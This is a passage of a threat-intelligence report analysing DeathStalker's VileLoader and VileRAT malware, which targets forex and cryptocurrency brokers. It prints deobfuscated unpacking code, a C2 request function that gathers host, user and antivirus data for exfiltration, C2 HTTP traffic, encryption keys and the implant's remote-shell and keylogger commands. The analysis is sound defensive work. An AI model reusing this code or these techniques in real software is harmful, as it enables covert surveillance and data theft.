the unpacking and loading of VileLoader’s encoded companion shellcode file leverages multiple custom-made system calls, that are similar to low-level Windows API functions (NTDLL) for different Windows versions: NtOpenFile, NtReadFile, NtAllocateVirtualMemory, NtCreateThreadEx and NtWaitForSingleObject (see Figure 12).

Figure 12. VileLoader’s stage 1 custom-made system call

However, while older samples parsed command line arguments by resolving and calling dedicated Windows API functions (such as “GetCommandLineW”), the recent samples directly read this information from their own PEB (Process Environment Block) structure. This may have been done to better bypass the detection of some security solutions.

Stage 2 – In-memory downloader

The second stage content is extracted from VileLoader’s encoded companion shellcode file, and run by VileLoader’s first stage in-memory, in a new thread. From a data perspective, the second stage shellcode (once unpacked by the first stage) is a PE binary that is stripped of its headers and embeds additional encoded data.

This second stage starts by decoding the required data from its own content (using the Type C XOR algorithm). Some data are decoded as hash values that were generated with the djb2 algorithm. Those hashes are in turn used to resolve the required function imports through a homebrew IAT: required libraries are loaded, their export tables are parsed, exported function names are hashed with djb2, and the hashes are compared to hashes that were decoded from internal data. Stage 2 continues by creating a mutex, whose name has been stable since Q2 2020, and which is the same as in VileRAT (“GlobalwU3aqu1t2y8uN”).

Finally, VileLoader’s second stage builds an HTTP GET request that is used to download an implant package. In older VileLoader samples, the downloader used a static URL that looked as follows:

http://<domain>/c&v=2&u=<argument 1>&a=<argument 2>&c=<argument 3>

The only evasion attempt consisted in randomly choosing an HTTP User-Agent header value amongst a fixed list of four. VileLoader used the targeted system’s uptime as a source of “randomness”. In recent samples, developers tried to improve these evasion techniques, and the HTTP request now looks like this:

GET /administrator/index.php HTTP/1.1
Connection: keep-Alive
Accept-Language: en-US,en;q=0.8
Accept: */*
Referer: http://www.yahoo.com
Cookie: source=<encrypted blob>;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Host: corstand[.]com

All values that are colored in red are now chosen at random from a hard-coded list that is decoded from the stage 2 content (using the Type C XOR algorithm). The encrypted blob (cookie value) is initially a JSON dictionary, encrypted with the RC4 algorithm (using the key “BD DE 96 D2 9C 68 EE 06 49 64 D1 E5 8A 86 05 12 B0 9A 50 00 4E F2 E4 92 5C 76 AB FC 90 23 DF C6”, decoded from stage 2 content), XORed (using the Type B XOR algorithm), base64-encoded and URL-encoded. The actual JSON content is very similar to the one that is sent by VileDropper to the C2 server:

Provided by VileDropper  via the command line

Hard-coded value (65 in the last sample we analyzed) which might be a version number.
The target identifier.
The list of security solutions installed on the targeted computer.
The target’s operating system version.
A fixed identifier, which might designate a campaign or version.
The target’s fully qualified login (%USERDOMAIN%%USERNAME%).

Flag that indicates if the mutex creation succeeded (1) or failed (0).

Current process name (e.g., SerenadeDACplApp.exe).

Constant value embedded in the code and equal to 0.

The C2 server then answers in the HTTP response body, with one of the following instructions:

do nothing: the answer is four null bytes;
implant package: the answer is an encoded implant package to parse (see later);
send a screenshot: the answer is a byte of value “1”, followed by three null bytes.

In older variants, VileLoader’s second stage did not embed the screenshot capability, which was, however, implemented in VileRAT.

If the C2 server answers with an implant package, it sends a Type D XORed blob. The resulting data is further decompressed using the LZMA1 algorithm, and contains one or several “files” with the following additional metadata:

A CSIDL value, representing the root folder in which the file must be dropped (resolved with the “SHGetFolderPathW” Windows API function);
A subdirectory name;
A file name;
A task name if the file execution is to be scheduled;
The command-line arguments if the file is to be executed.

If a specific flag is set in the C2 server response data, VileLoader creates a Windows scheduled task for the last dropped file to set up its persistence. The task is created using the ITaskService interface. Finally, the last dropped file is also immediately executed using the “CreateProcessW” Windows API function. It should be noted that some older VileLoader samples executed the downloaded payload in memory, while recent variants tend to drop the downloaded implant on the target’s filesystem.

If the C2 server requests a screenshot, then VileLoader stage 2 sends an HTTP POST request with a cookie whose value is a XORed (Type B algorithm) JSON dictionary containing the following fields:

Target identifier.
Constant value (1).
Screenshot timestamp (in the format “YYYY-MM-DD HH:MM:SS”).

The associated HTTP POST body data is an encoded (using the Type B XOR algorithm) JPEG screenshot.

VileRAT – A super-packed yet still overweight Python implant

VileRAT is the last known stage of the intricate eponym infection chain from DeathStalker. It is an obfuscated and packed Python3 RAT, bundled as a standalone binary with py2exe. We first discovered it in Q2 2020, and it has also subsequently been named PyVil by other vendors.

A note on VileRAT’s seniority

The Python library (DLL) that is embedded in a py2exe-bundled binary usually comes from an official Python release. While analyzing VileRAT samples, we noticed that its Python DLL is a custom compilation of Python 3.7 sources: the DLL version is tagged as “heads/3.7-dirty”[1] (instead of “tags/v3.7.4” for an official release, for instance) and references a shortened Git commit ID of “0af9bef61a”. This shortened commit ID matches one in the source code repository of the 3.7 branch of the standard CPython implementation, which is dated to 2020-05-23. Due to this commit date and considering the fact that we first discovered VileRAT in Q2 2020, we believe with medium to high confidence that VileRAT was first packaged for deployment in June 2020.

Unpacking VileRAT

When we first encountered VileRAT, we noticed that all usual decompiling tools for Python3 (uncompyle6, decompyle3 and unpyc37, to name just a few) failed to correctly retrieve a Python source from the VileRAT bytecode. Some of our industry peers had the same issue when they encountered it as PyVil.

Long story short: the first stage of VileRAT has been obfuscated at the Python bytecode-level, with the intention of breaking existing decompilers (see Figure 13). The bytecode is obfuscated by:

adding multiple operations that do not have any effect when executed (neutral operations) and useless data;
adding confusing branching and exceptions handlers;
inserting invalid bytecode in sections that will never be reached during execution (but that decompilers still try – and fail – to decompile).

Figure 13. VileRAT’s first stage Python bytecode, in its original form (left) and deobfuscated form (right). The only useful instructions of this excerpt are highlighted in red.

Once cleaned at bytecode-level, the first stage of VileRAT unpacking can be properly decompiled as Python code:

import sys
import zlib
import base64
T8 = base64.b64decode
y6 = zlib.decompress
m5 = T8(b'<a 7-million+ characters long base64 string>’)
k9 = bytearray(m5)
Y7 = bytearray(b’0sMIsDYmkeST5ZJHOfHkwmrA5JGVmpBbpKeA’)
N2 = bytearray(len(k9)*bytes([0]))
j = 0
code_length = int(len(k9)/5)
for i in range(code_length):
if i % 3 == 0:
N2[i] = k9[i] ^ Y7[j]
N2[i] = k9[i]
if j + 1 == len(Y7):
j = 0
j += 1
N2[i:] = k9[i:]

VileRAT embeds no less than three layers of unpacking. The efforts that have been put into making a Python script (VileRAT) hard to analyze from a human perspective is a DeathStalker signature by itself, considering they also tried the same for all the other steps in the infection chain, and that it is part of their usual approach.

The last unpacking step finally extracts the VileRAT Python code and a whole bundle of its dependencies in memory – all this content causes py2exe-bundled VileRAT samples to weigh around 12MB. The unpacking leverages decoding (using the Type B XOR algorithm) and BZIP2 decompression. The final VileRAT Python package notably contains a conf.pyc module which includes a version number, as well as default C2 domain names:

SVC_NAME = ‘AJRouter’
server_urls = [‘hxxp://pngdoma[.]com’, ‘hxxp://robmkg[.]com’, ‘hxxp://textmaticz[.]com’, ‘hxxp://goalrom[.]com’]
user_agent_list = [‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36’]

VileRAT versions and functionalities

We analyzed and compared various VileRAT samples, containing version numbers ranging from 2.4 to 8. VileRAT functionalities have not changed much over time, and some functionalities from the earliest sample we analyzed have actually been dropped (such as leveraging SSH as a C2 channel, or screenshotting, the latter now being implemented in VileLoader instead). The remaining functionalities include:

Arbitrary remote command execution, using an existing or downloaded binary;
Establishing SSH connections to remote servers, possibly leveraging them to forward ports of the targeted computer to the remote server;
Setting up persistence using scheduled tasks;
Listing security solutions that are installed on the target computer;
Self-updating from a C2 server.

VileRAT has five distinct and exclusive execution modes, enabled from the command line, which can all be further altered with additional command switches, parameters and/or data from the C2:

Command line option
Internal name(s)
Execution mode description


Arbitrary command execution

The “command” term is quite large: it can either be an existing binary, a shell command, a downloaded executable, a Python package, or an internal VileRAT function. In order to specify the “command”, a JSON dictionary[2] is passed as an optional parameter. Some commands will be executed by starting VileRAT again, using a distinct set of command options. VileRAT exits after this execution.



SSH connection test

VileRAT starts a new process of itself, which connects to a remote SSH server (using a private key), then… closes the connection. This SSH connection used to serve as a C2 channel in previous samples, but the C2 logic has been removed in recent samples. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT exits after this execution.



SSH-tunneled local port forward

VileRAT starts a new process of itself, which connects to a remote SSH server (using a password). This connection is leveraged as a tunnel to forward ports from the target computer to the remote server. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT quits once the remote end has connected to the forwarded port at least once, and subsequently closed the connection.

Arbitrary file deletion

VileRAT attempts to delete a file, whose path is given as a clear text command parameter. VileRAT quits when the file is deleted or when the maximum number of attempts (10) is reached.



Main C2 client mode

This is the main execution mode for VileRAT. It regularly polls a C2 server for commands to execute. The commands that can be executed are one of those described in this table (RUN_R_SSH_SHELL_ARG, RUN_CMD_AS_USER_ARG, RUN_R_DYN_SSH_ARG), or one of the additional VileRAT internal update commands. CMD_UPDATE_SVC triggers a (partial or complete) VileRAT update from a C2-downloaded package, while CMD_UPDATE_CONF can update internal delays and enable a keylogger if the C2 requires so.

In a typical first execution for VileRAT, as we identified in 2022, the implant is started with the following arguments:

ImagesInfo.exe “[u]” -x -m “EDP CredsTask” -i

Note than in this case, the target identifier that is passed as the first argument is not actually exploited by VileRAT, and may just be used by the attacker to easily identify running VileRAT processes later. Older VileRAT variants were usually launched with explicit “-f” and “-t” command line switches: those are now implicit and enabled by default.

Here is the list of some notable VileRAT changes we spotted as the versions evolved, apart from regular updates to fix code bugs or handle uncaught exceptions, refactor code, update dependencies, and change configuration:

Between versions 2.4 and 2.7, VileRAT dropped the capability to use a remote SSH server as a C2 channel, as well as the screenshot implementation;
In version 3.0, the base64-encoded RC4 key which is used for various encryption routines changed from “Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=” to “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”, and an additional XOR pass (of Type B) was added in encoding schemes. The VileRAT remote update mechanism was refactored, and an additional command switch (called pmode) was added;
In version 3.7, specific Chrome version and Trezor wallet reconnaissance functions that we initially identified for version 2.4 were removed from the code, and VileRAT lost the ability to update from files provided on the filesystem where it was running;
In version 5.4, the way UUID-type identifiers were generated changed;
In version 6.5, an additional command switch (called jmode) was added;
In version 6.6, “-f” and “-t” command options were enabled by default.

VileRAT HTTP C2 protocol

VileRAT’s main C2 communication loop, as executed during Main C2 client mode (as described in VileRAT functionalities above), is quite straightforward and runs in a separate thread:

Every 2-5 minutes, VileRAT tries to send an HTTP POST request to each of the C2 servers that exist in its configuration, until one replies or until the list is exhausted. Environment data is embedded in a JSON dictionary, which is encrypted using RC4, encoded using the Type B XOR algorithm, base64-encoded and URL-encoded, then finally set as the HTTP request URL path (see Figure 14);
A C2 server may reply with an HTTP response, whose body can include an encoded and encrypted JSON array. If so, the JSON must contain at least a command to execute.
def get_request_data(req_type, xmode, pmode):
data = {
‘type’: ‘svc’,
‘xmode’: xmode,
‘pmode’: pmode,
‘req_type’: req_type,
‘svc_ver’: conf.VERSION,
‘svc_name’: conf.SVC_NAME,
‘ext_uuid’: get_ext_uuid(),
‘svc_uuid’: get_service_uuid(),
‘old_svc_uuid’: get_old_service_uuid(),
‘host’: get_hostname(),
‘uname’: get_username(),
‘ia’: win32.hap(),
‘wv’: win32.gwv(),
‘dt’: datetime.datetime.now().strftime(‘%Y-%m-%d %H-%M-%S’),
‘xn’: os.path.basename(sys.executable)
if req_type == REQ_GET_CMD:
data[‘gc’] = global_conf
data[‘klr’] = keylogger.kl_run
data[‘cr’] = win32.is_process_exist(exe_name=’chrome.exe’)
data[‘avs’] = get_av_list()
elif req_type in [REQ_FIRST_RUN, REQ_INSTALL_DONE]:
data[‘avs’] = get_av_list()
enc_data = quote(b64encode(encrypt_xor(rc4_encrypt(json.dumps(data).encode(‘utf-8’)))), safe=”~()*!.'”)
return enc_data

Figure 14. VileRAT C2 request preparation function

Just as in VileLoader, the User-Agent value in HTTP requests is randomly selected from a fixed list of possible values. The JSON that is passed to the C2 server can be broken down as follows:

Fixed value set to “svc”.
True if VileRAT is executed with the xmode command line switch; false otherwise.
True if VileRAT is executed with the pmode command line switch; false otherwise.
Internal C2 command request type, value can be get_cmd, update_done, screenshot, first_run, install_done or klgr.
Internal VileRAT version number as set in VileRAT’s configuration.
Internal VileRAT implant name as set in VileRAT’s configuration.
Partial value of one of the mutexes VileRAT sets to ensure atomic execution. It can either be the same system UUID as the one collected by VileDropper as part of the target identifier generation, or a hard-coded one.
The target identifier, generated again with the same algorithm used in VileDropper.
A hard-coded value, or the same system UUID as the one collected by VileDropper as part of the target identifier generation, but represented using a different (and presumably older) custom algorithm.
Hostname of the target machine.
Username of the target.
1 if the user running VileRAT has administrator privileges; 0 otherwise.
Windows version, formatted as dwMajorVersion.dwMinorVersion (eg. 10.0).
Timestamp of the HTTP request, formatted as YYYY-MM-DD HH-MM-SS.
VileRAT’s filename.
JSON list of installed security products names (e.g., [“windows defender”, “kaspersky internet security”]), as retrieved from WMI by VileRAT.

The C2 answer is expected as an encoded and encrypted JSON list (leveraging the same coding and cryptographic methods as for the JSON in the HTTP request). Each item in the list must be a JSON dictionary that contains at least a “cmd” key. Its value can be one of: update_svc, ssh_rshell, r_cmd, ssh_rdyn or update_conf. Additional JSON key/value pairs can exist in the dictionary and are passed to internal commands as parameters.

A few words about VileRAT’s infrastructure

We looked for specificities in the C2 domains we could retrieve from the samples gathered (either malicious DOCX files, DOTM files and their macros, VileDropper, VileLoader or VileRAT) and that are described in this report. We ignored domains registered before mid-October 2021 because most of them were already disclosed in public sources (all known malicious domains and IPs are listed in full in the indicators of compromise section below). It should be noted that to date, we have identified hundreds of domains associated with VileRAT’s infection chain.

This allowed us to identify some likely VileRAT-specific infrastructure creation preferences:

Starting from October 2021 at the latest, DeathStalker infrastructure IPs all belong to AS42159 (DELTAHOST UA, located in NL). According to our telemetry, DeathStalker likely started to leverage servers with IP addresses from this AS (along with others) as early as June 2021;
Malicious domain names are often batch-registered (several domains on the same day) at NAMECHEAP, Porkbun LLC or PDR Ltd.;
A lot of malicious domain names try to masquerade as seemingly legitimate digital services providers names (such as “azcloudazure[.]com” or “amzbooks[.]org”), and some denote a possible attempt to leverage events of worldwide interest to conduct attack campaigns (such as “weareukrainepeople[.]com” or “covidsrc[.]com”);
Domain usage seems to be separated most of the time (one domain is used only for either infection DOCX/DOTM, VileLoader or VileRAT), and might indicate a desire by the threat actor to tightly cluster its operations. But all those domains usually point to a very limited set of IP addresses;
A quick analysis of the characteristics of the services exposed on C2 IPs during malicious activities allowed us to note common signatures: the HTTP service sends a combination of content and header values that could only be retrieved for such malicious infrastructure.

VileRAT’s targets

From August 2021 to the present day, using only data that we could check with our own telemetry, we identified 10 compromised or targeted organizations in Bulgaria, Cyprus, Germany, the Grenadines, Kuwait, Malta, the United Arab Emirates and the Russian Federation (see Figure 15).

Figure 15. Map of organizations targeted by DeathStalker’s VileRAT campaign (darker color indicates a higher concentration)

We could not profile all the identified organizations, but half of them were foreign currency (FOREX) and cryptocurrency exchange brokers. Some identified malicious documents and infrastructure domains contain (parts of) the targeted organizations’ names, and confirm this targeting.

It should be noted that the identified organizations range from recent startups to established industry leaders, including dubious cryptocurrency exchange platforms. Locating such organizations is extremely difficult from the limited data we have at hand, because a small FOREX company might, for instance, host its infrastructure in various foreign countries, employ several remote workers from different countries, and be legally based in a tax haven.


When we first discovered VileRAT in June 2020, we initially attributed the implant and associated infection chain to DeathStalker. This first attribution was mainly based on similarities with previously known EVILNUM campaigns (common specific metadata in LNK files, similar TTPs – notably the spear-phishing approach leveraging Google Drive files and fake personas, consistent victimology). The tie between EVILNUM campaigns and DeathStalker has already been demonstrated in our previous article.

We still believe with high confidence that the described updated implants and associated infection chain are developed and operated by DeathStalker:

The main implants (VileLoader, VileRAT) that are leveraged for this campaign are updates of previously analyzed ones, and still share a large majority of code and implementation specifics with previous samples;
The various components of the described infection chain (DOCX, macro-enabled DOTM, VileDropper) share implementation logic and techniques that have previously been leveraged by DeathStalker as part of other campaigns (PowerSing and PowerPepper notably):
Using malicious documents (fetched from emails) as an infection vector;
Signaling infection progress and errors to remote servers;
Using a similarly implemented XOR algorithm for string obfuscation (in DOTM macros, and in previously documented PowerPepper loaders);
Leveraging Office object properties as hidden data sources;
Using similarly implemented hash-like functions with a preset constant (to generate a target identifier in VileDropper, to decode an IP address in PowerSing).


VileRAT, its loader and associated infection chain were continuously and frequently updated for more than two years, and are still leveraged to persistently target foreign currency and cryptocurrency exchange brokers, with a clear intent to escape detection.

Escaping detection has always been a goal for DeathStalker, for as long as we’ve tracked the threat actor. But the VileRAT campaign took this desire to another level: it is undoubtedly the most intricate, obfuscated and tentatively evasive campaign we have ever identified from this actor. From state-of-the-art obfuscation with VBA and JS, to multi-layered and low-level packing with Python, a robust multi-stage in-memory PE loader, and security vendor-specific heuristic bypasses, nothing has been left to chance.

Considering the vast and quickly changing associated infrastructure as well, there is no doubt DeathStalker is making a tremendous effort to develop and maintain accesses. Yet, there are some glitches and inconsistencies: a final payload weighing more than 10MB (VileRAT), simple infection vectors, lots of suspicious communication patterns, noisy and easily identified process executions or file deployments, as well as sketchy development practices leaving bugs and requiring frequent implant updates. As a result, an efficient and properly setup endpoint protection solution will still be able to detect and block most of VileRAT’s related malicious activities.

Putting these facts into perspective, we believe DeathStalker’s tactics and practices are nonetheless sufficient (and have proven to be) to act on soft targets who may not be experienced enough to withstand such a level of determination, who may not have made security one of their organization’s top priorities, or who frequently interact with third parties that did not do so. We still, however, cannot determine what DeathStalker’s principal intention against such targets is: it could range from due diligence, asset recovery, information gathering in the context of litigation or arbitration cases, aiding its customers in working around sanctions and/or spying on the targets’ customers, but it still does not appear to be direct financial gain.

Indicators of compromise

Infection DOCX MD5 hashes


Macro-enabled DOTM remote templates MD5 hashes


VileDropper JavaScript MD5 hashes


VileLoader (stage 1 binary) MD5 hashes


VileRAT (standalone) MD5 hashes


C2 IP addresses

2022-07, and 2021-06 to 07 at least
2022-07 at least
2022-06 at least
2022-05 to 06 at least
2022-04 to 06 at least
2022-03 to 04 at least
2022-03 to 04 at least
2022-03 at least
2022-03 at least
2022-01 to 02 at least
2022-01 to 02 at least
2021-12 to 2022-01 at least
2021-12 at least
2021-11 and 08 at least
2021-11 at least
2021-10 at least
2021-10 at least
2021-09 to 10 at least
2021-09 at least
2021-07 to 09 at least
2020-07 at least
2020-07 at least

C2 domain names

Note: the C2 domain names have been identified in our own telemetry or extracted from malicious files that are described in this article and that we analyzed. The domains may still have previously (or later) been used for legitimate purposes as domains may get reused over time. Even if we could not notice such a conflict up to now, the resolution of a hostname that belongs to such domain must better be checked to match previously listed C2 IP addresses, before concluding it is indicative of a compromise.


Suspected C2 domain names

Note: the suspected C2 domain names have been identified because they were both registered in a similar way than known C2 domain names, AND because associated hostnames pointed to known C2 IP addresses during a timeframe of known malicious activity. While we believe with medium to high confidence the vast majority of these domains have been or could be leveraged by DeathStalker, it is still possible that a few of them never support malicious activities.


[1] This is an expected result from the standard CPython build chain: the build configuration will automatically tag a binary with such version naming if compilation is done from sources that do not match a defined tag (for instance, 3.7.4) or are modified.

[2] All JSON dictionaries required by commands are URL-encoded, base64-encoded, and RC4-encrypted with a base64-encoded RC4 key of “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=” (starting from VileRAT 3.0; previous samples use a different key).

VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies.Read More